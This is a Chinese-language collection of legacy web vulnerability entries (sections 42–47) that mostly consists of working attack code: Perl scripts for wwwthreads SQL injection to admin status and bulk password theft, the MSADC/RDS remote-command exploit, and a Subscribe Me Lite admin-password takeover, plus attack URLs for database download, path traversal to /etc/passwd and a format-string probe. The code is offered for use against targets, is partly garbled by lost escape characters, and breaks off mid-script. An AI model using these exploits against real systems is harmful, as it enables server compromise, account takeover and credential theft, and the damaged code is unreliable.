四十二.wwwthreads
wwwthreads是应用很广的论坛服务程序，在一些国外的安全论坛上应用较多。这套论坛程序有个漏洞，其SQL information retrieval engine允许远程用户获取用户名和密码，允许入侵者使用insert的SQL命令，获取数据库的访问权。在一个全世界最著名的黑客站点之一的论坛上测试通过。
Exploit:
-[ wwwthreads.pl
#!/usr/bin/perl
# wwwthreads hack by
rfp@wiretrip.net
# elevate a user to admin status
#
# by rain forest puppy /
rfp@wiretrip.net
use Socket;
#####################################################
# modify these
# can be DNS or IP address
$ip="209.143.242.119";
$username="rfp";
# remember to put a '' before the '$' characters
$passhash="$1$V2$sadklfjasdkfhjaskdjflh";
#####################################################
$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";
$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0rn".
"Referer:
http://$ip/cgi-bin/wwwthreads/previewpost.plrnrn";
print sendraw($tosend);
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr;my @in=<S>;
select(STDOUT);close(S);
return @in;
} else { die("Can't connect...n"); ]
-[ w3tpass.pl
#!/usr/bin/perl
# download all wwwthread usernames/passwords once you're administrator
# send a fake cookie with authentication and fake the referer
# initial passwords are 6 chars long, contain a-zA-Z0-9 EXCEPT l,O,1
#
# by rain forest puppy /
rfp@wiretrip.net
use Socket;
#####################################################
# modify these
# can be DNS or IP address
$ip="209.143.242.119";
$username="rfp";
# remember to put a '' before the '$' characters
$passhash="$1$V2$zxcvzxvczxcvzxvczxcv";
#####################################################
@letts=split(//,'0ABCDEFGHIJKLMNOPQRSTUVWXYZ');
print STDERR "wwwthreads password snatcher by rain forest puppyrn";
print STDERR "Getting initial user lists...";
foreach $let (@letts){
$parms="Cat=&Start=$let";
$tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0rn".
"Referer:
http://$ip/cgi-bin/wwwthreads/rn".
"Cookie: Username=$username; Password=$passhashrnrn";
my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/showoneuser.pl?User=([^"]+)">/){
push @users, $1;]}
$usercount=@users;
print STDERR "$usercount users retrieved.rn".
"Fetching individual passwords...rn";
foreach $user (@users){
$parms="User=$user";
$tosend="GET /cgi-bin/wwwthreads/admin/showoneuser.pl?$parms HTTP/1.0rn".
"Referer:
http://$ip/cgi-bin/wwwthreads/rn".
"Cookie: Username=$username; Password=$passhashrnrn";
my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/OldPass value = "([^"]+)"/){
($pass=$1)=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$user =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
print $user.':'.$pass."::::::::::n";
last;]}
print STDERR "done.rnrn";
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr;my @in=<S>;
select(STDOUT);close(S);
return @in;
} else { die("Can't connect...n"); ]
四十三.msadcs.dll
IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权.、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。
攻击程序:
#将下面这段保存为txt文件，然后: "perl -x 文件名"
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!
use Socket; use Getopt::Std;
getopts("e:vd:h:XR", %args);
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --n";
if (!defined $args && !defined $args) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host>= host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-v = verbose
-e = external dictionary file for step 5
Or a -R will resume a command session
~; exit;}
$ip=$args; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args) { $verbose=1; } else
if (defined $args) { $delay=$args;} else
if(!defined $args){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (defined $args && !defined $args) { &hork_idx; exit; }
if (!defined $args){ $ret = &has_msadc;
die("Looks like msadcs.dll doesn't existn")if $ret==0}
print "Please type the NT commandline you want to run (cmd /c assumed):n"
. "cmd /c ";
$in=<STDIN>; chomp $in;
$command="cmd /c " . $in ;
if (defined $args) {&load; exit;}
print "nStep 1: Trying raw driver to btcustmr.mdbn";
&try_btcustmr;
print "nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>n" : print "<<fail>>n";
print "nStep 3: Trying known DSNs...";
&known_dsn;
print "nStep 4: Trying known .mdbs...";
&known_mdb;
if (defined $args){
print "nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "nNo -e; Step 5 skipped.nn"; }
print "Sorry Charley...maybe next time?n";
exit;
##############################################################################
sub sendraw {# ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...n"); ]
##############################################################################
sub make_header { # make the HTTP request
my $msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen
EOT
; $msadc=~s/n/rn/g;
return $msadc;}
##############################################################################
sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;
if ($switch==1){ # this is the btcustmr.mdb query
$query="select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\" . $p2 . "\help\iis\htm\tutorial\btcustmr.mdb;";}
elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}
elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}
elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}
elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}
$t1= make_unicode($query);
$t2= make_unicode($dsn);
$req = "x02x00x03x00";
$req.= "x08x00" . pack ("S1", length($t1));
$req.= "x00x00" . $t1 ;
$req.= "x08x00" . pack ("S1", length($t2));
$req.= "x00x00" . $t2 ;
$req.="rn--!ADM!ROX!YOUR!WORLD!--rn";
return $req;}
##############################################################################
sub make_shell { # this makes the shell() statement
return "'|shell("$command")|'";}
##############################################################################
sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "x00"; }
return $out;}
##############################################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart/mixed/){
return 1 if( $in[$base+10]=~/^x09x00/ );}
return 0;}
##############################################################################
sub make_dsn { # this makes a DSN for us
my @drives=("c","d","e","f");
print "nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft%2B" .
"Access%2BDriver%2B%28*.mdb%29&dsn=wicca&dbq="
. $drive . "%3A%5Csys.mdb&newdb=create_DB&attr= HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful</H2>/;]
} return 0;}
##############################################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0nn");
return $results[0];}
##############################################################################
sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");
foreach $dir (@dirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);] print "n";]
##############################################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 []:/\'()]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 []:/\'()]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 []:/\'()]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "nNON-STANDARD error. Please sent this info to
rfp@wiretrip.net:n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##############################################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "n$inn";}
##############################################################################
sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...n";
print OUT "$ipn$p1n$p2n$p3n$p4n";
close OUT;}
##############################################################################
sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.saven");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/n//g; $p[4]="$p[4]"; $p[4]=~s/n//g;
if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!n";}
else { print "failedn"; verbose(odbc_error(@results));]
elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!n";} else { print "failedn"; ]
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!n"; } else { print "failedn"; ]
exit;}
##############################################################################
sub create_table {
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}
##############################################################################
sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");
foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successfuln";
if(run_query("DSN=$dSn")){
print "Success!n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked. Use verbose next timen";]} print "n";}
##############################################################################
sub is_access {
my ($in)=@_;
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}
##############################################################################
sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}
##############################################################################
sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
# this is sparse, because I don't know of many
my @sysmdbs=( "\catroot\icatalog.mdb",
"\help\iishelp\iis\htm\tutorial\eecustmr.mdb",
"\system32\certmdb.mdb",
"\system32\certlog\certsrv.mdb" ); #these are %systemroot%
my @mdbs=( "\cfusion\cfapps\cfappman\data\applications.mdb",
"\cfusion\cfapps\forums\forums_.mdb",
"\cfusion\cfapps\forums\data\forums.mdb",
"\cfusion\cfapps\security\realm_.mdb",
"\cfusion\cfapps\security\data\realm.mdb",
"\cfusion\database\cfexamples.mdb",
"\cfusion\database\cfsnippets.mdb",
"\inetpub\iissamples\sdk\asp\database\authors.mdb",
"\progra~1\common~1\system\msadc\samples\advworks.mdb",
"\cfusion\brighttiger\database\cleam.mdb",
"\cfusion\database\smpolicy.mdb",
"\cfusion\databasecypress.mdb",
"\progra~1\ableco~1\ablecommerce\databases\acb2_main1.mdb",
"\website\cgi-win\dbsample.mdb",
"\perl\prk\bookexamples\modsamp\database\contact.mdb",
"\perl\prk\bookexamples\utilsamp\data\access\prk.mdb"
); #these are just
foreach $drive (@drives) {
foreach $dir (@dirs){
foreach $mdb (@sysmdbs) {
print ".";
if(create_table($drv . $drive . ":\" . $dir . $mdb)){
print "n" . $drive . ":\" . $dir . $mdb . " successfuln";
if(run_query($drv . $drive . ":\" . $dir . $mdb)){
print "Success!n"; save (4,4,$drive . ":\" . $dir . $mdb,""); exit;
} else { print "Something's borked. Use verbose next timen"; ]]}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "n" . $drive . $dir . $mdb . " successfuln";
if(run_query($drv . $drive . $dir . $mdb)){
print "Success!n"; save (4,4,$drive . $dir . $mdb,""); exit;
} else { print "Something's borked. Use verbose next timen"; ]]
}
##############################################################################
sub hork_idx {
print "nAttempting to dump Index Server tables...n";
print " NOTE: Sometimes this takes a while, other times it stallsnn";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \._]/n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \._n]//g;
$results[$c]=~/([a-zA-Z]:\)([a-zA-Z0-9 _~\]+)\/;
$d="";}
foreach $c (keys %d){ print "$cn"; }
} else {print "Index server doesn't seem to be installed.n"; ]
##############################################################################
sub dsn_dict {
open(IN, "<$args") || die("Can't open external dictionaryn");
while(<IN>){
$hold=$_; $hold=~s/[rn]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successfuln";
if(run_query("DSN=$dSn")){
print "Success!n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked. Use verbose next timen";]}
print "n"; close(IN);}
##############################################################################
sub sendraw2 {# ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
print "Connected. Getting data";
open(OUT,">raw.out"); my @in;
select(S); $|=1;print $pstr;
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...n"); ]
##############################################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
if($in[$c] =~/^x0dx0a/){
if ($in[$c+1]=~/^HTTP/1.[01] [12]00/) { $c++; }
else { return $c+1; ]}
return -1;} # it should never get here actually
##############################################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "nServer returned an ADO miscofiguration messagenAborting.n";
exit;}
if($error=~/A Handler is required/){
print "nServer has custom handler filters (they most likely are patched)n";
exit;}
if($error=~/specified Handler has denied Access/){
print "nServer has custom handler filters (they most likely are patched)n";
exit;]
##############################################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0nn");
my $base=content_start(@results);
return 1 if($results[$base]=~/Content-Type: application/x-varg/);
return 0;}
########################
四十四. SmartWin CyberOffice Shopping Cart
Smartwin Technology CyberOffice Shopping Cart是一种购物车应用程序，它被用在那些运行Windows NT 4.0或2000系统、允许进行电子商务交易的网站上。远程用户可能读取运行有Smartwin Technology CyberOffice Shopping Cart 2.0的网站的_private目录。默认情况下任何人对_private目录都有读权限。
攻击：
http://target/_private/shopping_cart.mdb
四十五. Moreover.com CGI 文件泄露漏洞
新闻服务商Moreover.com 提供的catched_feed.cgi V1.0的脚本存在这样一个漏洞；这个脚本有获得文件 的功能，本来是用来返回一个指定文件的内容给浏览器，可是由于没有在用户输入的字符串中过滤".."字符串，所以通过构造一个URL，提交给这个脚本，可以获得CGI脚本不允许的文件内容，必须保证这个文件是HTTP用户可以读的；
攻击：
http://victim/cgi-bin/cached_feed.cgi?../../../.+/etc/passwd
四十六. Unixware SCOhelp CGI程序格式串漏洞
SCO Unixware 7 缺省安装时会包含sochelp组件。这是一个监听在tcp 457端口的HTTP服务器，允许用户访问帮助手册以及其他的一些文档。它的一个用来完成搜索功能的CGI程序存在一个格式串漏洞，允许远程用户在主机上执行任意代码。尽管攻击者只能得到'nobody'用户权限（缺省状态下），仍然会给用户非法访问主机系统的机会，他可能进一步获取更高权限。
攻击：
http://target:457/search97cgi/vt ... &queryText=%25x
可以让服务器产生下列响应：
--
Internal error: STR_sprintf: Invalid format (Error E1-0142 (Query
Builder): Invalid character '%' (0x25))
Result
Search failed: -40
Result
Error E1-0142 (Query Builder): Invalid character '
Result
Error E1-0130 (Query Builder): Syntax error in query string near
character 1
Result
Error E1-0133 (Query Builder): Error parsing query: 81887e0
Result
VdkSearchNew failed, error -40
Result
Request failed for REQUEST_METHOD=, QUERY_STRING=
Component
Component (vsearch) failed in processing request, -2
Action
Action (FilterSearch) failed while processing request in component
(vsearch), -2
Service Manager
Action (FilterSearch) failed in processing request, -2
S97IS Service manager failed to process request
四十七. Subscribe Me LITE 更改管理员口令漏洞
任何远程用户都能修改CGI Script Centers' Subscribe Me Lite的管理员口令。这使得远程用户拥有完全的管理权限，包括从邮件列表中增加和删除用户。
攻击：
#!/usr/bin/perl -w
## Subscribe Me Lite 2.0 exploit /
www.cgiscriptcenter.com
## This exploits changes the administrator password and
## let's anyone take over the mailing list. You can send
## bogus e-mail to everyone on the list.
##
## May work on earlier versions, but not sure - not sure
## if it will work on the Professional version either.
##
##
teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net
use strict;
use Socket;
if (@ARGV < 2) {
print("Usage: $0 <target> <newpass>n");
exit(1);
}
my($target,$newpass,$crypt,$length,$command,$agent,$sploit,$iaddr,$paddr,$pr
oto);
($target,$newpass) = @ARGV;
$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);
print("nRemote host: $targetn");
print("CGI-script: /cgi-bin/subscribe.pln");
print("New password: $newpass / $cryptnn");
$command = "pwd=$newpass&pwd2=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";
$sploit=
"POST /cgi-bin/subscribe.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length
$command";
$iaddr = inet_aton($target) || die("Error: $!n");
$paddr = sockaddr_in(80, $iaddr)|| die("Error: $!n");
$proto = getprotobyname('tcp')|| die("Error: $!n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)|| die("Error: $!n");
connect(SOCKET, $paddr) || die("Error: $!n");
send(SOCKET,"$sploit
